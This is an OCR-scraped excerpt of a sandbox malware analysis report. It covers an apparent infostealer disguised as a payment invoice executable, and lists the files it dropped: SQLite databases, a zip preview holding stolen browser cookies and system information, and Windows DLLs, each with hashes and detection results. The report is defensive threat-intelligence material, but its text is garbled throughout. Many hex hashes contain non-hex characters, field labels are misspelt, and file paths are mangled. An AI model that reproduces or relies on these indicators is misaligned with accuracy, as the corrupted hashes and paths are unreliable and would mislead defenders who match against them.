https://view.joesandbox.com/analysis/378670/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378670/html/none?idtype=webid
https://view.joesandbox.com/analysis/378668/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378668/html/none?idtype=webid
https://view.joesandbox.com/analysis/378667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378667/html/none?idtype=webid
https://view.joesandbox.com/analysis/378666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378666/html/none?idtype=webid
https://view.joesandbox.com/analysis/378663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378663/html/none?idtype=webid
https://view.joesandbox.com/analysis/378662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378662/html/none?idtype=webid
https://view.joesandbox.com/analysis/378661/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378661/html/none?idtype=webid
https://view.joesandbox.com/analysis/378660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378660/html/none?idtype=webid
https://view.joesandbox.com/analysis/378630/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378630/html/none?idtype=webid
https://view.joesandbox.com/analysis/378603/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378603/html/none?idtype=webid
https://view.joesandbox.com/analysis/378601/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378601/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

1.1874185457069584

false
96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYghCP46w/1Vumq
72A43D390E478BA9664F03951692D109

482FE43725D7A1614F6E24429E455CD0A920DF7C
593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

false

high, very likely benign file

SQLite format 3......@ ....... s LT TSP SRRSO PP PSRRI

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

Zip archive data, at least v2.0 to extract

dropped

55140

7.992678898014246

true
768:L1laTIUwu0dV2UTAbcxeDIgsN3fNAGwWV6e85T7qQOX+JIK+I9wnecJ70:L1laTx6mnOBfN5dx5XtvIKs9wXo
BDC11C6E3C2D4F2E274E3E6674041B83

2EC20FA21AC95A43E6458C4F8B50C091142F75B2
28B19BE04B8017A976F7800E2D69025BF48A51A4A730182D4696D97555B08A5A

D70316836B3C5DACDBF406732C41C379AB3B1F7E014F9F2D1978A857CE10FD325785C9941D53F9BB49COFEFB10AEO2E734D163B6FC2D9A6072AB8E6G0702F8E/
A

false

low

PK.is S.Corenn *...browsers/cookies/Google Chrome_Default.txtUT...D.?aD.?aD.?a%.r.0......Q.....V.l..H/Jj..0.V..;.[..2F.?..N..y...<.0..;.y..F/.V.8NvZ._.m;f{H......].|.
[..Re..../.Jl 1...Cgv..LLQ...n....n.SY.B.xSTm2..e_...f)...p..St.C.....AQe.n..k...PK System Info.txtUT...H.?aH.?aH.?auS.n.0.}.J..y$Rc....i..nSEL...
R..&V..ILM.;4.m...0g..9.0."..=. 2.1nTY@n.*%...)......E).S.....Z4:..D.~".&..0...,19...5..b..F.i..(.G.".d.$.". N.y8.G.$....w...... ...6....??G...10J..X...8]......ce.[.TW..,...Q+..
E..5b.>..Tn.5.U.yg4..1.U.q@....}6.&2.....>.Q~.1.GaB)..]cU..8}7/.~..../fl..<TM-8.V....:i..|....(I......n..(MYYS4y..=..6.a}..Q..M.Z..z..Y.m....EX.0.$.py.."..e..XgK..%
..C.B.v.8Y.Mn.{L...c<....>..rU).2.U.7.....R..8.X.X8..hY!*. 6ZhW........... IC..Q.Z.BZN.c...N..)].....9H..P.......-.e.R#>.C..G./., 1.1ITBN\P..O..t,..8.H...n.k.<.U..qIK.pXY...q...
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https://view.joesandbox.com/analysis/378557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378557/html/none?idtype=webid
https://view.joesandbox.com/analysis/378555/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378555/html/none?idtype=webid
https://view.joesandbox.com/analysis/378384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378384/html/none?idtype=webid
https://view.joesandbox.com/analysis/378110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378110/html/none?idtype=webid
https://view.joesandbox.com/analysis/378103/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378103/html/none?idtype=webid
https://view.joesandbox.com/analysis/378042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378042/html/none?idtype=webid
https://view.joesandbox.com/analysis/378035/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378035/html/none?idtype=webid
https://view.joesandbox.com/analysis/377956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377956/html/none?idtype=webid
https://view.joesandbox.com/analysis/377954/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377954/html/none?idtype=webid
https://view.joesandbox.com/analysis/377950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377950/html/none?idtype=webid
https://view.joesandbox.com/analysis/377942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377942/html/none?idtype=webid
https://view.joesandbox.com/analysis/377899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377899/html/none?idtype=webid
https://view.joesandbox.com/analysis/377894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377894/html/none?idtype=webid
https://view.joesandbox.com/analysis/377893/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377893/html/none?idtype=webid
https://view.joesandbox.com/analysis/377883/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377883/html/none?idtype=webid
https://view.joesandbox.com/analysis/377857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377857/html/none?idtype=webid
https://view.joesandbox.com/analysis/377835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377835/html/none?idtype=webid

C:\Users\user\AppDatal\LocalLow\HUvaM2qJUq

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
SQLite 3.x database, last written using SQLite version 3032001

dropped

118784

0.4507667042986948

false

96:V/WU+bDoYysX0uhnydVjNIDLjGQLBE3u:V/I+bDo3irhnydVj3XBBE3u
8D1E4EF2C47505BE17244F97D8591000

09EC63BD44834AC76F888D87C0A358532665D8B6
A395EB3FFB419984F33F2ACIEE04A6257730A4600580812A5518957F50BB6D88

B7EB3FE94FF62DD8D6BFEF55C0D79ABB2DACG65E30757E016B37CF78F29C27BDE89D0798CD21357B438EE4007D917AD830A11521DA3DC5C1988D73CBD9990F
D1

false

moderate, very likely benign file

SQLite format 3...... @ e ettt ettt e eteeea—e oo —eeteeeateeeaee e teeesteeaste ettt eteeante e st e eateeeteeanteeeneeenaenneeereeeaaeanes

C:\Users\luser\AppData\LocalLow\RYwTiizs2t

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

Entropy (8bit):  1.1874185457069584

Encrypted: false

SSDEEP: 96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYgbhCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1L: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC

CE
Malicious: false
Preview:

SQLite format 3...... @ ....... B ettt e ettt — e ettt e ettt eetee e teeeate ettt ettt atee et e eaat e ettt eteeateeaaeeenaeeneeeteeteeanes
C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\AccessibleHandler.dll v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 123344
Entropy (8bit):  6.504957642040826
Encrypted: false
SSDEEP: 1536:DkO/6RZFrpiS7ewfINGa35i0rjmwWTYP1KxBxZJIBYEJIMBrsuLelLsWxcdaocACsOK:biRZFdBiussQ1MBjg2aocts03/7FE
MD5: F92586E9CC1F12223B7EEB1A8CD4323C
SHA1: F5EB4AB2508F27613F4D85D798FA793BBOBD04B0
SHA-256: A1A2BB0O3A7CFCEA8944845A8FC12974482F44B44FD20BE73298FFD630F65D8D0
SHA-512: 5C047AB885A8ACCB604E58C1806C82474DC43E1F997B267F90C68A078CB63EE78A93D1496E6DDAF5A72FDF246F40EF19CESCAOD0296BBCFCFA964E4921E68A

E
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 0%
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https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBrOUxnd3hfZHZz/regular/analysis

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\AccessibleHandler.dll v

Joe Sandbox
View:

Preview:

Filename: M5X7tUFYGN.exe, Detection: malicious, Browse

Filename: AGfIVY2euF.exe, Detection: malicious, Browse

Filename: 1pKKVVGY|L.exe, Detection: malicious, Browse

Filename: UNH13PVWabD.exe, Detection: malicious, Browse

Filename: 58ibd9M1I5.exe, Detection: malicious, Browse

Filename: xne3TMF2ag.exe, Detection: malicious, Browse

Filename: AiHobnO3jp.exe, Detection: malicious, Browse

Filename: HtdROQFZ64.exe, Detection: malicious, Browse

Filename: bm5CTUWag6.exe, Detection: malicious, Browse

Filename: zfI3hUTQWN.exe, Detection: malicious, Browse

Filename: esROxxwm62.exe, Detection: malicious, Browse

Filename: F2kvZ2vpfP.exe, Detection: malicious, Browse

Filename: 37E292496F057CBBBA45F28B7510C8E4B555DCB2AD430.exe, Detection: malicious, Browse
Filename: Intaller.exe, Detection: malicious, Browse

Filename: 5aC1boZSQm.exe, Detection: malicious, Browse

Filename: iCtrOxmTH3.exe, Detection: malicious, Browse

Filename: gOrjkABedp.exe, Detection: malicious, Browse

Filename: fuU1j7xT{7.exe, Detection: malicious, Browse

Filename: cOdda7a83d4cc964b37957b563b1b6ff6fd64256.smile.exe, Detection: malicious, Browse

L]
L]
L]
L]
L]
L]
L]
L]
L]
LJ
L]
L]
L]
L]
L]
L]
L]
L]
L]
e Filename: TsY3UkofKe.exe, Detection: malicious, Browse

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\AccessibleMarshal.dll v

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

26064

Entropy (8bit):  5.981632010321345
Encrypted: false
SSDEEP: 384:KuAjyb0Xc6JzVuLoW2XDOc3TXg1lhjsvDG8A30PLoN07zS:BEygs6RV60W2Xd38njiDG8Mj
MD5: A7FABF3DCEO008915CEE4FFC338FALCEG
SHA1L: F411FB41181C79FBA0516D5674D07444E98E7C92
SHA-256: D368EB240106F87188C4F2AE30DB793A2D250D9344F0E0267D4F6A58E68152AD
SHA-512: 3D2935D02D1A2756AAD7060C47DC7CABBA820CC9977957605CE9BBB44222289CBC451AD331F408317CF01A1A4D3CF8DICFC666C4E6B4DBIDDD404C7629CE+
70

Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Preview:

1..L.IThis program cannot be run in DOS mode....$.. U..U.U. U U T . U.T.U.T.U.T. U5T..U..ULU.T.
C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\IA2Marshal.dll v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 70608
Entropy (8bit):  5.389701090881864
Encrypted: false
SSDEEP: 768:3n8PHF564hn4wva3AVgH5PMEOSjA6QMO0avrDG8MR43:38th4wvaQVESPRIOxs
MD5: 5243F66EF4595D9D8902069EED8777E2
SHAL: 1FB7F82CD5F1376C5378CD88F853727AB1CC439E
SHA-256: 621F38BD19F62C9CE6826D492ECDF710C00BBDCF1FB4E4815883F29F1431DFDA
SHA-512: ABAB96D73E326C7EEF75560907571AE9CAA70BA9614EB56284B863503AF53C78B991B809COC8BAE3BCEY9142018F59D42DD4BCD41376D0A30D9932BCFCAEES
A

Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Preview:

K K&LI. K&]J. K&JUK...K&].J...KRich...K
Hv.@............ 0..
@..@.reloc..

...... u.T.
.@....rsrc.
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https://view.joesandbox.com/analysis/378630/html/none
https://view.joesandbox.com/analysis/378603/html/none
https://view.joesandbox.com/analysis/378601/html/none
https://view.joesandbox.com/analysis/378557/html/none
https://view.joesandbox.com/analysis/378555/html/none
https://view.joesandbox.com/analysis/378384/html/none
https://view.joesandbox.com/analysis/378110/html/none
https://view.joesandbox.com/analysis/378103/html/none
https://view.joesandbox.com/analysis/378042/html/none
https://view.joesandbox.com/analysis/378035/html/none
https://view.joesandbox.com/analysis/377956/html/none
https://view.joesandbox.com/analysis/377954/html/none
https://view.joesandbox.com/analysis/377950/html/none
https://view.joesandbox.com/analysis/377942/html/none
https://view.joesandbox.com/analysis/377899/html/none
https://view.joesandbox.com/analysis/377894/html/none
https://view.joesandbox.com/analysis/377893/html/none
https://view.joesandbox.com/analysis/377883/html/none
https://view.joesandbox.com/analysis/377857/html/none
https://view.joesandbox.com/analysis/377835/html/none
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBSQlRLOEJiM0c/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBDbFlMc3gya2Jm/regular/analysis

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\MapiProxy.dlIl v

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

19920

Entropy (8bit):  6.2121285323374185
Encrypted: false
SSDEEP: 384:YOGKgKt7QXmFJINauBT5+BjdvDG8A30PLon6nt:akKgWc2FnnTOVDG8MSt
MD5: 7CD244C3FC13C90487127B8D82F0B264
SHA1L: 09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256: BCFBOE397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512: C6319BB3D6CB4CABF96BD1EADB8C46A3901498ACOEB789D73867710B0D855AB28603A00647A9CF4AD2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD!
3D
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\MapiProxy_InUse.dlI| v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 19920

Entropy (8bit):  6.2121285323374185
Encrypted: false
SSDEEP: 384:YOGKgKt7QXmFJINauBT5+BjdvDG8A30PLon6nt:akgWc2FnnTOVDG8MSt
MD5: 7CD244C3FC13C90487127B8D82F0B264
SHA1: 09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256: BCFBOE397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512: C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0OEB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD!
3D
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
C:\Users\user\AppDatal\LocallLow\aD1rF3aM8r\api-ms-win-core-file-11-2-0.dll v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232

Entropy (8bit):  7.112057846012794
Encrypted: false
SSDEEP: 192:IWIghWGJInWdsNtL/1230uo+Uggs/nGfe4pBjSfcD63QXWhOtxKdmVWQ4yW1rwanh:IWPhWIsnhiO0GftpBjnem9ID16PamFP
MD5: E2F648AE40D234A3892E1455B4DBBE0O5S
SHA1L: D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256: C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBECIEGF33EBA03
SHA-512: 18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928FBAECAC693904AB20CA40EE4ES54
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
1..L.IThis program cannot be run in DOS mode....$ m....e..e..e..ne...e.na...e..n....e..ng...e.Rich..e.PE..L...._.

JRRPRUPRN £1 (o .@.@.. 8..T..T dL lllll L. ...RSDS g'y. api-ms-win-core-file-11-2-0.pdb..

rdata$zzzdbg....... L...edata... .."...rsrc$01...." ....... rsrc$02......... L@ (8ol [T api-ms-win-core-file-11-2-0.dll.CreateFile2.kerne

I132.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou
C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-file-12-1-0.d1l v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
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https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBpbVpFZEJ5UTh2/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBpbVpFZEJ5UTh2/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDkxMzFMb2dKLVpTN1lVY0NXVHcwT04/regular/analysis

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-file-12-1-0.dIl v

File Type:
Category:
Size (bytes):

PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped
18232

Entropy (8bit):  7.166618249693435
Encrypted: false
SSDEEP: 192:BZWWIghWG4U9ydsNtL/1230uo+Uggs/nGfe4pBjShUGHVNWhOtxKdmVWQ4CWVU9Sh:UWPhWFBsnhi00GftpBjKvxemPIP55QQ7
MD5: E479444BDD4AE4577FD32314A68F5D28
SHA1L: 77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256: C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512: 2AFAB302FEOF7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB74
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
L.

rdata$zzzdbg............ edata... .."....

win-core-file-12-1-0.dl.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea
C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-handle-11-1-0.dll v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232

Entropy (8bit):  7.1117101479630005
Encrypted: false
SSDEEP: 384:AWPhWXDz6i00GftpBj5FrFaemx+IDbNh/6:hroidkeppp
MD5: 6DB54065B33861967B491DD1C8FD8595
SHA1L: EDO0938BBCOE2A863859AAD64606B8FCAC69B810A
SHA-256: 945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CASC4CBDOES
SHA-512: AAGFOBCB760D449A3A82AED67CAOF7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1ADACBD2B46B1127108EC4A96C5CFIDE1IBDEC36E993D0657A61
5B6
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:
.......... 1..L.IThis program cannot be run in DOS mode....$.......m....e..e..e..ne...e..na...e..n...e..ng...e.Rich..e. PE..L...G.....
.. .8=. T. text.
.Isrc.. .G ....RSDSQ. {...IS].0.> ....api-ms-win-core-handle-I1-1-0.pdb..........T....rdata.
T rdata$zzzdbg GoZuiie, (oSePr Al R api-ms-win-core-handle-I1-1-
0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32
C:\Users\luser\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-heap-I1-1-0.dll v
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 18232
Entropy (8bit): 7.174986589968396
Encrypted: false
SSDEEP: 192:GElgWIghWGZi5edXe1230uo+Uggs/nGfedpBjS/PHYRWhOtxKdmVWQ4GWC2w4Dj3:GEIgQWPhWCXYi00GftpBjP9emY XIDbNs
MDS5: 2EA3901D7B50BF6071EC8732371B821C
SHA1L: E7BE926F0F7D842271F7EDC7A4989544F4477DAT
SHA-256: 44F6DF4280C8ECCIC6E609B1A4BFEE041332D337D84679CFEOD6678CE8F2998A
SHA-512: 6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58DIE736F5514A53C8E33D8325476C5F605C2421F15C
D
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:

1..L.IThis program cannot be run in DOS mode....$ m....e..e..e..ne..e.na...e..n....e..ng...e.Rich..e.PE..L

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-interlocked-11-1-0.dll

Process:
File Type:
Category:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows
dropped

Copyright Joe Security LLC 2021 Page 18 of 91


https://www.metadefender.com/#!/results/file/bzIxMDkxM1lLNVB3dEVGM1MzUExEaHdkTDE/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDkxM0Y2NndvTjVTQ1FzMW9vTkVOTUQ/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDkxM1FKaXc3X3ExQXJiQVpFMWVfcVI/regular/analysis

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-interlocked-11-1-0.dll
Size (bytes): 17856
Entropy (8bit):  7.076803035880586

Encrypted: false
SSDEEP: 192:DtiYsFWWIghWGQtu7B1230uo+Uggs/nGfe4pBjSPiZadchWhOtxKdmVWQAmWf2FN:5iY sSFWWPhWUTIO0GftpBjremUBNIgC
MDS5: D97A1CB141C6806F0101A5ED2673A63D
SHA1L: D31A84C1499A9128A8FOEFEA4230FCFABC9579BE
SHA-256: DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512: 0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFFIF7489890B5263D63203B5BA99EOB4099A5699C620
Malicious: false
Preview:
MZ.. L.IThis program cannot be run in DOS mode....$ m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...$.

text
..api-ms-win-core-interlocked-11-1-0.pdb.

“rsrc.. .
...... LU L P @S

....... api-ms-win-core-interlocked-11-1-0.dll.InitializeSListHead.kernel32.Initialize SLis

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-libraryloader-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit):  7.131154779640255

Encrypted: false

SSDEEP: 384:yHvuBL3BMWPhWZTi00GftpBjNKnemenyAlvNOW/L:yWBL3BXYoinKnelyd

MD5: D0873E21721D04E20B6FFBO38ACCF2F1

SHA1L: 9E39E505D80D67B347B19A349A1532746C1F7F88

SHA-256: BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE

SHA-512: 4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890ABC8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DFOAI
7

Malicious: false

Preview:

1..L.IThis program cannot be run in DOS mode....$ m....e...e..e..ne..e.na...e..n...e.ng...e.Rich..e.PE..L...u*

.RSDSU..e.j.(.wD. T...rdata

T rdata$zzzdbg.. . . .rsrc$02... [0« R FY LS B Ko F..
[V ) PrWo i api-ms-win-c

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-localization-11-2-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20792

Entropy (8bit):  7.089032314841867

Encrypted: false

SSDEEP: 384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBjscemjiD16Pa+4r:KOMwBprwjGjue9/0jCRmdbCOoireqv

MD5: EFF11130BFEOD9C90C0026BF2FB219AE

SHA1L: CF4C89A6E46090D3D8FEEBIEB697AEA8A26E4088

SHA-256: 03AD57C24FF2CF895B5F533FOECBD10266FD8634C6B9053CCI9CB33B814AD5D97

SHA-512: 8133FBIF6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADI

Malicious: false

Preview:

m....e..e..e.ne..e.na...e..n....e..ng...e.Rich..e.PE..L..S.v.

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-core-memory-I1-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.101895292899441

Encrypted: false

SSDEEP: 384:+bZWPhWUsnhiO0GftpBjwBemQID16Par7:b4nhoiéBedH

MD5: D500D9E24F33933956DFOE26F087FD91

SHAL: 6C537678AB6CFD6F3EAODCOF5ABEFD1C4924F0CO

SHA-256: BB33A9E906A5863043753C44F6F8165AFE4ADSEDB7ES5EFA4C7EGELIEDI0778ECA

SHA-512: C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07CO0C64A34BE
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C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-memory-I1-1-0.dll

Malicious:

Preview:

false

1..L.IThis program cannot be run in DOS mode....$........ m....e...e..e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(....

RUNI e text...l...
. .RSDS.~....%.T.....CO....api-ms-win-core-memory-11-1-0.pdb...
data..T ........ rdata$zzzdbg.. Ll (T (he e PrWes [ SR P %P B..g.....

.............. V30 O O

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-core-namedpipe-11-1-0.dll

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

18232

7.16337963516533

false
192:pgWIghWGZiBeS1230uo0+Uggs/nGfe4pBjS/fE/hWhOtxKdmVWQ4GWoxYyqnaj/6B:iWPhWUEIO0GftpBjltemnltcwWB
6F6796D1278670CCE6E2D85199623E27

